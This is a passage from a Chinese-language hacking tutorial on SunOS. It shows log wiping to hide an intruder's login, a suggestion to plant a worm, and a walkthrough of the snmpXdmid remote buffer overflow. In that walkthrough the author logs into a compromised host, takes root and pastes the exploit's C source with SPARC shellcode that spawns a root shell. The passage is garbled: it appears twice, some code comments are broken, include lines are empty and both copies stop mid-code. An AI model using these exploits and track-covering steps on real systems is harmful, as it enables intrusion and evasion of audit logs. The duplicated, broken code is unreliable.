t 日志清除。
方法:./wipe u oracle;./wipe w oracle;./wipe l oracle
#./wipe u oracle;./wipe w oracle;./wipe l oracle
Patching /var/adm/utmp .... Done.
Patching /var/adm/utmpx .... Done.
Patching /var/adm/wtmp .... Done.
Patching /var/adm/wtmpx .... Done.
Patching /var/adm/lastlog .... Done.
其中oracle为刚才登陆的用户名。
小技巧:我们可以用 ./wipe u oracle 隐藏自己。
运行:./wipe u oracle 前
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
oracle pts/1 下午 20:00 3 w
运行:./wipe u oracle 后
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
最后,我们可以放个worm寻找更多机子。
当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。
解决方法:chmod -s /usr/bin/lpset
『第26天』Sunos(二)
接着昨天的,今天,我们来看看Sunos的远程溢出。
本次范例需要的系统及程序情况如下:
操作系统:Window2000 To Sunos 5.8
对方操作系统:Sunos 5.8
程序(一):snmpxdmid.c
本机IP:127.0.0.1
测试IP:127.0.0.29
新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞:
Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。
测试开始:
telnet ***.***.***.***
* telnet上我的肉鸡。
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
$./usr/man/man5/shell
#
* 取得root权限。
# cat > snmpxdmid.c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101
char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *
方法:./wipe u oracle;./wipe w oracle;./wipe l oracle
#./wipe u oracle;./wipe w oracle;./wipe l oracle
Patching /var/adm/utmp .... Done.
Patching /var/adm/utmpx .... Done.
Patching /var/adm/wtmp .... Done.
Patching /var/adm/wtmpx .... Done.
Patching /var/adm/lastlog .... Done.
其中oracle为刚才登陆的用户名。
小技巧:我们可以用 ./wipe u oracle 隐藏自己。
运行:./wipe u oracle 前
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
oracle pts/1 下午 20:00 3 w
运行:./wipe u oracle 后
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
最后,我们可以放个worm寻找更多机子。
当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。
解决方法:chmod -s /usr/bin/lpset
『第26天』Sunos(二)
接着昨天的,今天,我们来看看Sunos的远程溢出。
本次范例需要的系统及程序情况如下:
操作系统:Window2000 To Sunos 5.8
对方操作系统:Sunos 5.8
程序(一):snmpxdmid.c
本机IP:127.0.0.1
测试IP:127.0.0.29
新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞:
Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。
测试开始:
telnet ***.***.***.***
* telnet上我的肉鸡。
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
$./usr/man/man5/shell
#
* 取得root权限。
# cat > snmpxdmid.c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101
char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a
"\x20\xbf\xff\xff" /* bn,a
"\x7f\xff\xff\xff" /* call
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a
"\x20\xbf\xff\xff" /* bn,a
"\x7f\xff\xff\xff" /* call
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *
